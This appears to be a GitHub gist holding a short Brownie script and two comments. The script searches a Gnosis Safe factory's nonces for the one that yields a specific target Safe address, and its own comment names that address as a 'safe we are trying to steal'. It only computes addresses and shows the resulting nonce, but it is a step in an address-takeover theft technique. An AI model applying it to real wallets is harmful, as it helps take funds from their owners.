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banteg/farm_safes.py Secret

Last active June 10, 2022 00:33
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farm_safes.py
from brownie import *
from eth_utils import to_canonical_address, to_checksum_address
from eth._utils.address import generate_contract_address
def main():
# master copy and data have no effect on address, you can replace them with anything
master_copy = '0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F'
data = '0xb63e800d0000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000d5d82b6addc9027b22dca772aa68d5d74cdbdf440000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007000000000000000000000000f0d05692d1ef6ff5769bdd9d9886381c10283c5400000000000000000000000092ecff3467729b5ee09f946a12a0cbdd7c83a506000000000000000000000000b4752144329bb54f3bd54c951784e6e5574474430000000000000000000000009d66e33b05d98f91265bd8c2ef0915de8f0ac500000000000000000000000000e5e020eaa61203df532112c88c238f7b9abcabe20000000000000000000000009427586421a768290bdbf57312cd674ceb3b8a920000000000000000000000004b3f1048c55faa0c0873e249e541139360501f2a0000000000000000000000000000000000000000000000000000000000000000'
# factory nonce is relevant
factory = '0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B'
max_nonce = web3.eth.get_transaction_count(factory)
# safe we are trying to steal
target = '0x4f3a120E72C76c22ae802D129F599BFDbc31cb81'
for nonce in range(max_nonce):
safe = generate_contract_address(to_canonical_address(factory), nonce)
safe = to_checksum_address(safe)
if safe == target:
print(nonce, safe)
break
@banteg
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banteg commented Jun 8, 2022

outputs

8884 0x4f3a120E72C76c22ae802D129F599BFDbc31cb81

@atitawat-pol
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I cannot find generate_contract_address in my packages. Which version do you use?

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